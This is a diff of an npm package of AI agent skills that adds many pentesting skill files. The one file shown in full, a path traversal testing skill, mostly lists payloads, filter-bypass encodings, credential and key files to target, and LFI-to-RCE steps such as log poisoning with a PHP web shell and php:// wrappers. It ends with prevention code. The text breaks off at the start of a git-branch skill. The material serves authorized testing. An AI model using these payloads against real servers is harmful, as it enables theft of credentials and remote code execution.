@namch/agent-assistant 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +114 -522
- package/agents/backend-engineer.md +0 -8
- package/agents/brainstormer.md +0 -6
- package/agents/business-analyst.md +0 -5
- package/agents/database-architect.md +0 -6
- package/agents/debugger.md +0 -6
- package/agents/designer.md +0 -5
- package/agents/devops-engineer.md +0 -7
- package/agents/docs-manager.md +0 -6
- package/agents/frontend-engineer.md +0 -7
- package/agents/game-engineer.md +0 -7
- package/agents/mobile-engineer.md +0 -7
- package/agents/performance-engineer.md +0 -7
- package/agents/planner.md +0 -6
- package/agents/project-manager.md +0 -6
- package/agents/researcher.md +0 -5
- package/agents/reviewer.md +0 -6
- package/agents/scouter.md +0 -6
- package/agents/security-engineer.md +0 -7
- package/agents/tech-lead.md +0 -7
- package/agents/tester.md +0 -5
- package/cli/README.md +19 -10
- package/documents/business/business-features.md +1 -1
- package/documents/business/business-prd.md +4 -4
- package/documents/knowledge-architecture.md +1 -1
- package/documents/knowledge-domain.md +1 -1
- package/documents/knowledge-overview.md +14 -29
- package/documents/knowledge-source-base.md +14 -14
- package/package.json +1 -1
- package/rules/QUICK-REFERENCE.md +4 -1
- package/rules/SKILL-DISCOVERY.md +37 -14
- package/skills/active-directory-attacks/SKILL.md +383 -0
- package/skills/active-directory-attacks/references/advanced-attacks.md +382 -0
- package/skills/agent-evaluation/SKILL.md +64 -0
- package/skills/agent-memory-mcp/SKILL.md +82 -0
- package/skills/agent-memory-systems/SKILL.md +67 -0
- package/skills/agent-tool-builder/SKILL.md +53 -0
- package/skills/ai-agents-architect/SKILL.md +90 -0
- package/skills/ai-product/SKILL.md +54 -0
- package/skills/ai-wrapper-product/SKILL.md +273 -0
- package/skills/api-documentation-generator/SKILL.md +484 -0
- package/skills/api-fuzzing-bug-bounty/SKILL.md +433 -0
- package/skills/api-security-best-practices/SKILL.md +907 -0
- package/skills/autonomous-agent-patterns/SKILL.md +761 -0
- package/skills/autonomous-agents/SKILL.md +68 -0
- package/skills/aws-penetration-testing/SKILL.md +405 -0
- package/skills/aws-penetration-testing/references/advanced-aws-pentesting.md +469 -0
- package/skills/azure-functions/SKILL.md +42 -0
- package/skills/backend-dev-guidelines/SKILL.md +342 -0
- package/skills/backend-dev-guidelines/resources/architecture-overview.md +451 -0
- package/skills/backend-dev-guidelines/resources/async-and-errors.md +307 -0
- package/skills/backend-dev-guidelines/resources/complete-examples.md +638 -0
- package/skills/backend-dev-guidelines/resources/configuration.md +275 -0
- package/skills/backend-dev-guidelines/resources/database-patterns.md +224 -0
- package/skills/backend-dev-guidelines/resources/middleware-guide.md +213 -0
- package/skills/backend-dev-guidelines/resources/routing-and-controllers.md +756 -0
- package/skills/backend-dev-guidelines/resources/sentry-and-monitoring.md +336 -0
- package/skills/backend-dev-guidelines/resources/services-and-repositories.md +789 -0
- package/skills/backend-dev-guidelines/resources/testing-guide.md +235 -0
- package/skills/backend-dev-guidelines/resources/validation-patterns.md +754 -0
- package/skills/broken-authentication/SKILL.md +476 -0
- package/skills/bullmq-specialist/SKILL.md +57 -0
- package/skills/bun-development/SKILL.md +691 -0
- package/skills/burp-suite-testing/SKILL.md +380 -0
- package/skills/cloud-penetration-testing/SKILL.md +501 -0
- package/skills/cloud-penetration-testing/references/advanced-cloud-scripts.md +318 -0
- package/skills/computer-use-agents/SKILL.md +315 -0
- package/skills/content-creator/SKILL.md +248 -0
- package/skills/content-creator/assets/content_calendar_template.md +99 -0
- package/skills/content-creator/references/brand_guidelines.md +199 -0
- package/skills/content-creator/references/content_frameworks.md +534 -0
- package/skills/content-creator/references/social_media_optimization.md +317 -0
- package/skills/content-creator/scripts/brand_voice_analyzer.py +185 -0
- package/skills/content-creator/scripts/seo_optimizer.py +419 -0
- package/skills/context-window-management/SKILL.md +53 -0
- package/skills/conversation-memory/SKILL.md +61 -0
- package/skills/copy-editing/SKILL.md +439 -0
- package/skills/copywriting/SKILL.md +225 -0
- package/skills/crewai/SKILL.md +243 -0
- package/skills/discord-bot-architect/SKILL.md +277 -0
- package/skills/dispatching-parallel-agents/SKILL.md +180 -0
- package/skills/email-sequence/SKILL.md +925 -0
- package/skills/email-systems/SKILL.md +54 -0
- package/skills/ethical-hacking-methodology/SKILL.md +466 -0
- package/skills/executing-plans/SKILL.md +76 -0
- package/skills/file-path-traversal/SKILL.md +486 -0
- package/skills/finishing-a-development-branch/SKILL.md +200 -0
- package/skills/frontend-dev-guidelines/SKILL.md +359 -0
- package/skills/frontend-dev-guidelines/resources/common-patterns.md +331 -0
- package/skills/frontend-dev-guidelines/resources/complete-examples.md +872 -0
- package/skills/frontend-dev-guidelines/resources/component-patterns.md +502 -0
- package/skills/frontend-dev-guidelines/resources/data-fetching.md +767 -0
- package/skills/frontend-dev-guidelines/resources/file-organization.md +502 -0
- package/skills/frontend-dev-guidelines/resources/loading-and-error-states.md +501 -0
- package/skills/frontend-dev-guidelines/resources/performance.md +406 -0
- package/skills/frontend-dev-guidelines/resources/routing-guide.md +364 -0
- package/skills/frontend-dev-guidelines/resources/styling-guide.md +428 -0
- package/skills/frontend-dev-guidelines/resources/typescript-standards.md +418 -0
- package/skills/gcp-cloud-run/SKILL.md +288 -0
- package/skills/git-pushing/SKILL.md +33 -0
- package/skills/git-pushing/scripts/smart_commit.sh +19 -0
- package/skills/github-workflow-automation/SKILL.md +846 -0
- package/skills/html-injection-testing/SKILL.md +498 -0
- package/skills/idor-testing/SKILL.md +442 -0
- package/skills/inngest/SKILL.md +55 -0
- package/skills/javascript-mastery/SKILL.md +645 -0
- package/skills/kaizen/SKILL.md +730 -0
- package/skills/langfuse/SKILL.md +238 -0
- package/skills/langgraph/SKILL.md +287 -0
- package/skills/linux-privilege-escalation/SKILL.md +504 -0
- package/skills/llm-app-patterns/SKILL.md +760 -0
- package/skills/metasploit-framework/SKILL.md +478 -0
- package/skills/multi-agent-brainstorming/SKILL.md +256 -0
- package/skills/neon-postgres/SKILL.md +56 -0
- package/skills/nextjs-supabase-auth/SKILL.md +56 -0
- package/skills/nosql-expert/SKILL.md +111 -0
- package/skills/pentest-checklist/SKILL.md +334 -0
- package/skills/pentest-commands/SKILL.md +438 -0
- package/skills/plaid-fintech/SKILL.md +50 -0
- package/skills/planning-with-files/SKILL.md +211 -0
- package/skills/planning-with-files/examples.md +202 -0
- package/skills/planning-with-files/reference.md +218 -0
- package/skills/planning-with-files/scripts/check-complete.sh +44 -0
- package/skills/planning-with-files/scripts/init-session.sh +120 -0
- package/skills/planning-with-files/templates/findings.md +95 -0
- package/skills/planning-with-files/templates/progress.md +114 -0
- package/skills/planning-with-files/templates/task_plan.md +132 -0
- package/skills/privilege-escalation-methods/SKILL.md +333 -0
- package/skills/production-code-audit/SKILL.md +540 -0
- package/skills/prompt-caching/SKILL.md +61 -0
- package/skills/prompt-engineering/SKILL.md +171 -0
- package/skills/prompt-library/SKILL.md +322 -0
- package/skills/rag-engineer/SKILL.md +90 -0
- package/skills/rag-implementation/SKILL.md +63 -0
- package/skills/react-ui-patterns/SKILL.md +289 -0
- package/skills/red-team-tools/SKILL.md +310 -0
- package/skills/scanning-tools/SKILL.md +589 -0
- package/skills/shodan-reconnaissance/SKILL.md +503 -0
- package/skills/slack-bot-builder/SKILL.md +264 -0
- package/skills/smtp-penetration-testing/SKILL.md +500 -0
- package/skills/social-content/SKILL.md +807 -0
- package/skills/software-architecture/SKILL.md +75 -0
- package/skills/sql-injection-testing/SKILL.md +448 -0
- package/skills/sqlmap-database-pentesting/SKILL.md +400 -0
- package/skills/ssh-penetration-testing/SKILL.md +488 -0
- package/skills/stripe-integration/SKILL.md +69 -0
- package/skills/subagent-driven-development/SKILL.md +240 -0
- package/skills/subagent-driven-development/code-quality-reviewer-prompt.md +20 -0
- package/skills/subagent-driven-development/implementer-prompt.md +78 -0
- package/skills/subagent-driven-development/spec-reviewer-prompt.md +61 -0
- package/skills/tavily-web/SKILL.md +36 -0
- package/skills/telegram-bot-builder/SKILL.md +254 -0
- package/skills/test-driven-development/SKILL.md +371 -0
- package/skills/test-driven-development/testing-anti-patterns.md +299 -0
- package/skills/test-fixing/SKILL.md +119 -0
- package/skills/top-web-vulnerabilities/SKILL.md +543 -0
- package/skills/trigger-dev/SKILL.md +67 -0
- package/skills/twilio-communications/SKILL.md +295 -0
- package/skills/upstash-qstash/SKILL.md +68 -0
- package/skills/verification-before-completion/SKILL.md +139 -0
- package/skills/voice-agents/SKILL.md +68 -0
- package/skills/voice-ai-development/SKILL.md +302 -0
- package/skills/windows-privilege-escalation/SKILL.md +496 -0
- package/skills/wireshark-analysis/SKILL.md +497 -0
- package/skills/wordpress-penetration-testing/SKILL.md +485 -0
- package/skills/workflow-automation/SKILL.md +68 -0
- package/skills/xss-html-injection/SKILL.md +499 -0
- package/skills/zapier-make-patterns/SKILL.md +67 -0
|
@@ -0,0 +1,486 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: File Path Traversal Testing
|
|
3
|
+
description: This skill should be used when the user asks to "test for directory traversal", "exploit path traversal vulnerabilities", "read arbitrary files through web applications", "find LFI vulnerabilities", or "access files outside web root". It provides comprehensive file path traversal attack and testing methodologies.
|
|
4
|
+
metadata:
|
|
5
|
+
author: zebbern
|
|
6
|
+
version: "1.1"
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# File Path Traversal Testing
|
|
10
|
+
|
|
11
|
+
## Purpose
|
|
12
|
+
|
|
13
|
+
Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.
|
|
14
|
+
|
|
15
|
+
## Prerequisites
|
|
16
|
+
|
|
17
|
+
### Required Tools
|
|
18
|
+
- Web browser with developer tools
|
|
19
|
+
- Burp Suite or OWASP ZAP
|
|
20
|
+
- cURL for testing payloads
|
|
21
|
+
- Wordlists for automation
|
|
22
|
+
- ffuf or wfuzz for fuzzing
|
|
23
|
+
|
|
24
|
+
### Required Knowledge
|
|
25
|
+
- HTTP request/response structure
|
|
26
|
+
- Linux and Windows filesystem layout
|
|
27
|
+
- Web application architecture
|
|
28
|
+
- Basic understanding of file APIs
|
|
29
|
+
|
|
30
|
+
## Outputs and Deliverables
|
|
31
|
+
|
|
32
|
+
1. **Vulnerability Report** - Identified traversal points and severity
|
|
33
|
+
2. **Exploitation Proof** - Extracted file contents
|
|
34
|
+
3. **Impact Assessment** - Accessible files and data exposure
|
|
35
|
+
4. **Remediation Guidance** - Secure coding recommendations
|
|
36
|
+
|
|
37
|
+
## Core Workflow
|
|
38
|
+
|
|
39
|
+
### Phase 1: Understanding Path Traversal
|
|
40
|
+
|
|
41
|
+
Path traversal occurs when applications use user input to construct file paths:
|
|
42
|
+
|
|
43
|
+
```php
|
|
44
|
+
// Vulnerable PHP code example
|
|
45
|
+
$template = "blue.php";
|
|
46
|
+
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
|
|
47
|
+
$template = $_COOKIE['template'];
|
|
48
|
+
}
|
|
49
|
+
include("/home/user/templates/" . $template);
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
Attack principle:
|
|
53
|
+
- `../` sequence moves up one directory
|
|
54
|
+
- Chain multiple sequences to reach root
|
|
55
|
+
- Access files outside intended directory
|
|
56
|
+
|
|
57
|
+
Impact:
|
|
58
|
+
- **Confidentiality** - Read sensitive files
|
|
59
|
+
- **Integrity** - Write/modify files (in some cases)
|
|
60
|
+
- **Availability** - Delete files (in some cases)
|
|
61
|
+
- **Code Execution** - If combined with file upload or log poisoning
|
|
62
|
+
|
|
63
|
+
### Phase 2: Identifying Traversal Points
|
|
64
|
+
|
|
65
|
+
Map application for potential file operations:
|
|
66
|
+
|
|
67
|
+
```bash
|
|
68
|
+
# Parameters that often handle files
|
|
69
|
+
?file=
|
|
70
|
+
?path=
|
|
71
|
+
?page=
|
|
72
|
+
?template=
|
|
73
|
+
?filename=
|
|
74
|
+
?doc=
|
|
75
|
+
?document=
|
|
76
|
+
?folder=
|
|
77
|
+
?dir=
|
|
78
|
+
?include=
|
|
79
|
+
?src=
|
|
80
|
+
?source=
|
|
81
|
+
?content=
|
|
82
|
+
?view=
|
|
83
|
+
?download=
|
|
84
|
+
?load=
|
|
85
|
+
?read=
|
|
86
|
+
?retrieve=
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
Common vulnerable functionality:
|
|
90
|
+
- Image loading: `/image?filename=23.jpg`
|
|
91
|
+
- Template selection: `?template=blue.php`
|
|
92
|
+
- File downloads: `/download?file=report.pdf`
|
|
93
|
+
- Document viewers: `/view?doc=manual.pdf`
|
|
94
|
+
- Include mechanisms: `?page=about`
|
|
95
|
+
|
|
96
|
+
### Phase 3: Basic Exploitation Techniques
|
|
97
|
+
|
|
98
|
+
#### Simple Path Traversal
|
|
99
|
+
|
|
100
|
+
```bash
|
|
101
|
+
# Basic Linux traversal
|
|
102
|
+
../../../etc/passwd
|
|
103
|
+
../../../../etc/passwd
|
|
104
|
+
../../../../../etc/passwd
|
|
105
|
+
../../../../../../etc/passwd
|
|
106
|
+
|
|
107
|
+
# Windows traversal
|
|
108
|
+
..\..\..\windows\win.ini
|
|
109
|
+
..\..\..\..\windows\system32\drivers\etc\hosts
|
|
110
|
+
|
|
111
|
+
# URL encoded
|
|
112
|
+
..%2F..%2F..%2Fetc%2Fpasswd
|
|
113
|
+
..%252F..%252F..%252Fetc%252Fpasswd # Double encoding
|
|
114
|
+
|
|
115
|
+
# Test payloads with curl
|
|
116
|
+
curl "http://target.com/image?filename=../../../etc/passwd"
|
|
117
|
+
curl "http://target.com/download?file=....//....//....//etc/passwd"
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
#### Absolute Path Injection
|
|
121
|
+
|
|
122
|
+
```bash
|
|
123
|
+
# Direct absolute path (Linux)
|
|
124
|
+
/etc/passwd
|
|
125
|
+
/etc/shadow
|
|
126
|
+
/etc/hosts
|
|
127
|
+
/proc/self/environ
|
|
128
|
+
|
|
129
|
+
# Direct absolute path (Windows)
|
|
130
|
+
C:\windows\win.ini
|
|
131
|
+
C:\windows\system32\drivers\etc\hosts
|
|
132
|
+
C:\boot.ini
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
### Phase 4: Bypass Techniques
|
|
136
|
+
|
|
137
|
+
#### Bypass Stripped Traversal Sequences
|
|
138
|
+
|
|
139
|
+
```bash
|
|
140
|
+
# When ../ is stripped once
|
|
141
|
+
....//....//....//etc/passwd
|
|
142
|
+
....\/....\/....\/etc/passwd
|
|
143
|
+
|
|
144
|
+
# Nested traversal
|
|
145
|
+
..././..././..././etc/passwd
|
|
146
|
+
....//....//etc/passwd
|
|
147
|
+
|
|
148
|
+
# Mixed encoding
|
|
149
|
+
..%2f..%2f..%2fetc/passwd
|
|
150
|
+
%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
|
151
|
+
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
#### Bypass Extension Validation
|
|
155
|
+
|
|
156
|
+
```bash
|
|
157
|
+
# Null byte injection (older PHP versions)
|
|
158
|
+
../../../etc/passwd%00.jpg
|
|
159
|
+
../../../etc/passwd%00.png
|
|
160
|
+
|
|
161
|
+
# Path truncation
|
|
162
|
+
../../../etc/passwd...............................
|
|
163
|
+
|
|
164
|
+
# Double extension
|
|
165
|
+
../../../etc/passwd.jpg.php
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
#### Bypass Base Directory Validation
|
|
169
|
+
|
|
170
|
+
```bash
|
|
171
|
+
# When path must start with expected directory
|
|
172
|
+
/var/www/images/../../../etc/passwd
|
|
173
|
+
|
|
174
|
+
# Expected path followed by traversal
|
|
175
|
+
images/../../../etc/passwd
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
#### Bypass Blacklist Filters
|
|
179
|
+
|
|
180
|
+
```bash
|
|
181
|
+
# Unicode/UTF-8 encoding
|
|
182
|
+
..%c0%af..%c0%af..%c0%afetc/passwd
|
|
183
|
+
..%c1%9c..%c1%9c..%c1%9cetc/passwd
|
|
184
|
+
|
|
185
|
+
# Overlong UTF-8 encoding
|
|
186
|
+
%c0%2e%c0%2e%c0%af
|
|
187
|
+
|
|
188
|
+
# URL encoding variations
|
|
189
|
+
%2e%2e/
|
|
190
|
+
%2e%2e%5c
|
|
191
|
+
..%5c
|
|
192
|
+
..%255c
|
|
193
|
+
|
|
194
|
+
# Case variations (Windows)
|
|
195
|
+
....\\....\\etc\\passwd
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
### Phase 5: Linux Target Files
|
|
199
|
+
|
|
200
|
+
High-value files to target:
|
|
201
|
+
|
|
202
|
+
```bash
|
|
203
|
+
# System files
|
|
204
|
+
/etc/passwd # User accounts
|
|
205
|
+
/etc/shadow # Password hashes (root only)
|
|
206
|
+
/etc/group # Group information
|
|
207
|
+
/etc/hosts # Host mappings
|
|
208
|
+
/etc/hostname # System hostname
|
|
209
|
+
/etc/issue # System banner
|
|
210
|
+
|
|
211
|
+
# SSH files
|
|
212
|
+
/root/.ssh/id_rsa # Root private key
|
|
213
|
+
/root/.ssh/authorized_keys # Authorized keys
|
|
214
|
+
/home/<user>/.ssh/id_rsa # User private keys
|
|
215
|
+
/etc/ssh/sshd_config # SSH configuration
|
|
216
|
+
|
|
217
|
+
# Web server files
|
|
218
|
+
/etc/apache2/apache2.conf
|
|
219
|
+
/etc/nginx/nginx.conf
|
|
220
|
+
/etc/apache2/sites-enabled/000-default.conf
|
|
221
|
+
/var/log/apache2/access.log
|
|
222
|
+
/var/log/apache2/error.log
|
|
223
|
+
/var/log/nginx/access.log
|
|
224
|
+
|
|
225
|
+
# Application files
|
|
226
|
+
/var/www/html/config.php
|
|
227
|
+
/var/www/html/wp-config.php
|
|
228
|
+
/var/www/html/.htaccess
|
|
229
|
+
/var/www/html/web.config
|
|
230
|
+
|
|
231
|
+
# Process information
|
|
232
|
+
/proc/self/environ # Environment variables
|
|
233
|
+
/proc/self/cmdline # Process command line
|
|
234
|
+
/proc/self/fd/0 # File descriptors
|
|
235
|
+
/proc/version # Kernel version
|
|
236
|
+
|
|
237
|
+
# Common application configs
|
|
238
|
+
/etc/mysql/my.cnf
|
|
239
|
+
/etc/postgresql/*/postgresql.conf
|
|
240
|
+
/opt/lampp/etc/httpd.conf
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
### Phase 6: Windows Target Files
|
|
244
|
+
|
|
245
|
+
Windows-specific targets:
|
|
246
|
+
|
|
247
|
+
```bash
|
|
248
|
+
# System files
|
|
249
|
+
C:\windows\win.ini
|
|
250
|
+
C:\windows\system.ini
|
|
251
|
+
C:\boot.ini
|
|
252
|
+
C:\windows\system32\drivers\etc\hosts
|
|
253
|
+
C:\windows\system32\config\SAM
|
|
254
|
+
C:\windows\repair\SAM
|
|
255
|
+
|
|
256
|
+
# IIS files
|
|
257
|
+
C:\inetpub\wwwroot\web.config
|
|
258
|
+
C:\inetpub\logs\LogFiles\W3SVC1\
|
|
259
|
+
|
|
260
|
+
# Configuration files
|
|
261
|
+
C:\xampp\apache\conf\httpd.conf
|
|
262
|
+
C:\xampp\mysql\data\mysql\user.MYD
|
|
263
|
+
C:\xampp\passwords.txt
|
|
264
|
+
C:\xampp\phpmyadmin\config.inc.php
|
|
265
|
+
|
|
266
|
+
# User files
|
|
267
|
+
C:\Users\<user>\.ssh\id_rsa
|
|
268
|
+
C:\Users\<user>\Desktop\
|
|
269
|
+
C:\Documents and Settings\<user>\
|
|
270
|
+
```
|
|
271
|
+
|
|
272
|
+
### Phase 7: Automated Testing
|
|
273
|
+
|
|
274
|
+
#### Using Burp Suite
|
|
275
|
+
|
|
276
|
+
```
|
|
277
|
+
1. Capture request with file parameter
|
|
278
|
+
2. Send to Intruder
|
|
279
|
+
3. Mark file parameter value as payload position
|
|
280
|
+
4. Load path traversal wordlist
|
|
281
|
+
5. Start attack
|
|
282
|
+
6. Filter responses by size/content for success
|
|
283
|
+
```
|
|
284
|
+
|
|
285
|
+
#### Using ffuf
|
|
286
|
+
|
|
287
|
+
```bash
|
|
288
|
+
# Basic traversal fuzzing
|
|
289
|
+
ffuf -u "http://target.com/image?filename=FUZZ" \
|
|
290
|
+
-w /usr/share/wordlists/traversal.txt \
|
|
291
|
+
-mc 200
|
|
292
|
+
|
|
293
|
+
# Fuzzing with encoding
|
|
294
|
+
ffuf -u "http://target.com/page?file=FUZZ" \
|
|
295
|
+
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
|
|
296
|
+
-mc 200,500 -ac
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
#### Using wfuzz
|
|
300
|
+
|
|
301
|
+
```bash
|
|
302
|
+
# Traverse to /etc/passwd
|
|
303
|
+
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
|
|
304
|
+
--hc 404 \
|
|
305
|
+
"http://target.com/index.php?file=FUZZ"
|
|
306
|
+
|
|
307
|
+
# With headers/cookies
|
|
308
|
+
wfuzz -c -z file,traversal.txt \
|
|
309
|
+
-H "Cookie: session=abc123" \
|
|
310
|
+
"http://target.com/load?path=FUZZ"
|
|
311
|
+
```
|
|
312
|
+
|
|
313
|
+
### Phase 8: LFI to RCE Escalation
|
|
314
|
+
|
|
315
|
+
#### Log Poisoning
|
|
316
|
+
|
|
317
|
+
```bash
|
|
318
|
+
# Inject PHP code into logs
|
|
319
|
+
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
|
|
320
|
+
|
|
321
|
+
# Include Apache log file
|
|
322
|
+
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
|
|
323
|
+
|
|
324
|
+
# Include auth.log (SSH)
|
|
325
|
+
# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
|
|
326
|
+
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
|
|
327
|
+
```
|
|
328
|
+
|
|
329
|
+
#### Proc/self/environ
|
|
330
|
+
|
|
331
|
+
```bash
|
|
332
|
+
# Inject via User-Agent
|
|
333
|
+
curl -A "<?php system('id'); ?>" \
|
|
334
|
+
"http://target.com/page?file=/proc/self/environ"
|
|
335
|
+
|
|
336
|
+
# With command parameter
|
|
337
|
+
curl -A "<?php system(\$_GET['c']); ?>" \
|
|
338
|
+
"http://target.com/page?file=/proc/self/environ&c=whoami"
|
|
339
|
+
```
|
|
340
|
+
|
|
341
|
+
#### PHP Wrapper Exploitation
|
|
342
|
+
|
|
343
|
+
```bash
|
|
344
|
+
# php://filter - Read source code as base64
|
|
345
|
+
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
|
|
346
|
+
|
|
347
|
+
# php://input - Execute POST data as PHP
|
|
348
|
+
curl -X POST -d "<?php system('id'); ?>" \
|
|
349
|
+
"http://target.com/page?file=php://input"
|
|
350
|
+
|
|
351
|
+
# data:// - Execute inline PHP
|
|
352
|
+
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"
|
|
353
|
+
|
|
354
|
+
# expect:// - Execute system commands
|
|
355
|
+
curl "http://target.com/page?file=expect://id"
|
|
356
|
+
```
|
|
357
|
+
|
|
358
|
+
### Phase 9: Testing Methodology
|
|
359
|
+
|
|
360
|
+
Structured testing approach:
|
|
361
|
+
|
|
362
|
+
```bash
|
|
363
|
+
# Step 1: Identify potential parameters
|
|
364
|
+
# Look for file-related functionality
|
|
365
|
+
|
|
366
|
+
# Step 2: Test basic traversal
|
|
367
|
+
../../../etc/passwd
|
|
368
|
+
|
|
369
|
+
# Step 3: Test encoding variations
|
|
370
|
+
..%2F..%2F..%2Fetc%2Fpasswd
|
|
371
|
+
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
|
|
372
|
+
|
|
373
|
+
# Step 4: Test bypass techniques
|
|
374
|
+
....//....//....//etc/passwd
|
|
375
|
+
..;/..;/..;/etc/passwd
|
|
376
|
+
|
|
377
|
+
# Step 5: Test absolute paths
|
|
378
|
+
/etc/passwd
|
|
379
|
+
|
|
380
|
+
# Step 6: Test with null bytes (legacy)
|
|
381
|
+
../../../etc/passwd%00.jpg
|
|
382
|
+
|
|
383
|
+
# Step 7: Attempt wrapper exploitation
|
|
384
|
+
php://filter/convert.base64-encode/resource=index.php
|
|
385
|
+
|
|
386
|
+
# Step 8: Attempt log poisoning for RCE
|
|
387
|
+
```
|
|
388
|
+
|
|
389
|
+
### Phase 10: Prevention Measures
|
|
390
|
+
|
|
391
|
+
Secure coding practices:
|
|
392
|
+
|
|
393
|
+
```php
|
|
394
|
+
// PHP: Use basename() to strip paths
|
|
395
|
+
$filename = basename($_GET['file']);
|
|
396
|
+
$path = "/var/www/files/" . $filename;
|
|
397
|
+
|
|
398
|
+
// PHP: Validate against whitelist
|
|
399
|
+
$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];
|
|
400
|
+
if (in_array($_GET['file'], $allowed)) {
|
|
401
|
+
include("/var/www/files/" . $_GET['file']);
|
|
402
|
+
}
|
|
403
|
+
|
|
404
|
+
// PHP: Canonicalize and verify base path
|
|
405
|
+
$base = "/var/www/files/";
|
|
406
|
+
$realBase = realpath($base);
|
|
407
|
+
$userPath = $base . $_GET['file'];
|
|
408
|
+
$realUserPath = realpath($userPath);
|
|
409
|
+
|
|
410
|
+
if ($realUserPath && strpos($realUserPath, $realBase) === 0) {
|
|
411
|
+
include($realUserPath);
|
|
412
|
+
}
|
|
413
|
+
```
|
|
414
|
+
|
|
415
|
+
```python
|
|
416
|
+
# Python: Use os.path.realpath() and validate
|
|
417
|
+
import os
|
|
418
|
+
|
|
419
|
+
def safe_file_access(base_dir, filename):
|
|
420
|
+
# Resolve to absolute path
|
|
421
|
+
base = os.path.realpath(base_dir)
|
|
422
|
+
file_path = os.path.realpath(os.path.join(base, filename))
|
|
423
|
+
|
|
424
|
+
# Verify file is within base directory
|
|
425
|
+
if file_path.startswith(base):
|
|
426
|
+
return open(file_path, 'r').read()
|
|
427
|
+
else:
|
|
428
|
+
raise Exception("Access denied")
|
|
429
|
+
```
|
|
430
|
+
|
|
431
|
+
## Quick Reference
|
|
432
|
+
|
|
433
|
+
### Common Payloads
|
|
434
|
+
|
|
435
|
+
| Payload | Target |
|
|
436
|
+
|---------|--------|
|
|
437
|
+
| `../../../etc/passwd` | Linux password file |
|
|
438
|
+
| `..\..\..\..\windows\win.ini` | Windows INI file |
|
|
439
|
+
| `....//....//....//etc/passwd` | Bypass simple filter |
|
|
440
|
+
| `/etc/passwd` | Absolute path |
|
|
441
|
+
| `php://filter/convert.base64-encode/resource=config.php` | Source code |
|
|
442
|
+
|
|
443
|
+
### Target Files
|
|
444
|
+
|
|
445
|
+
| OS | File | Purpose |
|
|
446
|
+
|----|------|---------|
|
|
447
|
+
| Linux | `/etc/passwd` | User accounts |
|
|
448
|
+
| Linux | `/etc/shadow` | Password hashes |
|
|
449
|
+
| Linux | `/proc/self/environ` | Environment vars |
|
|
450
|
+
| Windows | `C:\windows\win.ini` | System config |
|
|
451
|
+
| Windows | `C:\boot.ini` | Boot config |
|
|
452
|
+
| Web | `wp-config.php` | WordPress DB creds |
|
|
453
|
+
|
|
454
|
+
### Encoding Variants
|
|
455
|
+
|
|
456
|
+
| Type | Example |
|
|
457
|
+
|------|---------|
|
|
458
|
+
| URL Encoding | `%2e%2e%2f` = `../` |
|
|
459
|
+
| Double Encoding | `%252e%252e%252f` = `../` |
|
|
460
|
+
| Unicode | `%c0%af` = `/` |
|
|
461
|
+
| Null Byte | `%00` |
|
|
462
|
+
|
|
463
|
+
## Constraints and Limitations
|
|
464
|
+
|
|
465
|
+
### Permission Restrictions
|
|
466
|
+
- Cannot read files application user cannot access
|
|
467
|
+
- Shadow file requires root privileges
|
|
468
|
+
- Many files have restrictive permissions
|
|
469
|
+
|
|
470
|
+
### Application Restrictions
|
|
471
|
+
- Extension validation may limit file types
|
|
472
|
+
- Base path validation may restrict scope
|
|
473
|
+
- WAF may block common payloads
|
|
474
|
+
|
|
475
|
+
### Testing Considerations
|
|
476
|
+
- Respect authorized scope
|
|
477
|
+
- Avoid accessing genuinely sensitive data
|
|
478
|
+
- Document all successful access
|
|
479
|
+
|
|
480
|
+
## Troubleshooting
|
|
481
|
+
|
|
482
|
+
| Problem | Solutions |
|
|
483
|
+
|---------|-----------|
|
|
484
|
+
| No response difference | Try encoding, blind traversal, different files |
|
|
485
|
+
| Payload blocked | Use encoding variants, nested sequences, case variations |
|
|
486
|
+
| Cannot escalate to RCE | Check logs, PHP wrappers, file upload, session poisoning |
|
|
@@ -0,0 +1,200 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: finishing-a-development-branch
|
|
3
|
+
description: Use when implementation is complete, all tests pass, and you need to decide how to integrate the work - guides completion of development work by presenting structured options for merge, PR, or cleanup
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Finishing a Development Branch
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Guide completion of development work by presenting clear options and handling chosen workflow.
|
|
11
|
+
|
|
12
|
+
**Core principle:** Verify tests → Present options → Execute choice → Clean up.
|
|
13
|
+
|
|
14
|
+
**Announce at start:** "I'm using the finishing-a-development-branch skill to complete this work."
|
|
15
|
+
|
|
16
|
+
## The Process
|
|
17
|
+
|
|
18
|
+
### Step 1: Verify Tests
|
|
19
|
+
|
|
20
|
+
**Before presenting options, verify tests pass:**
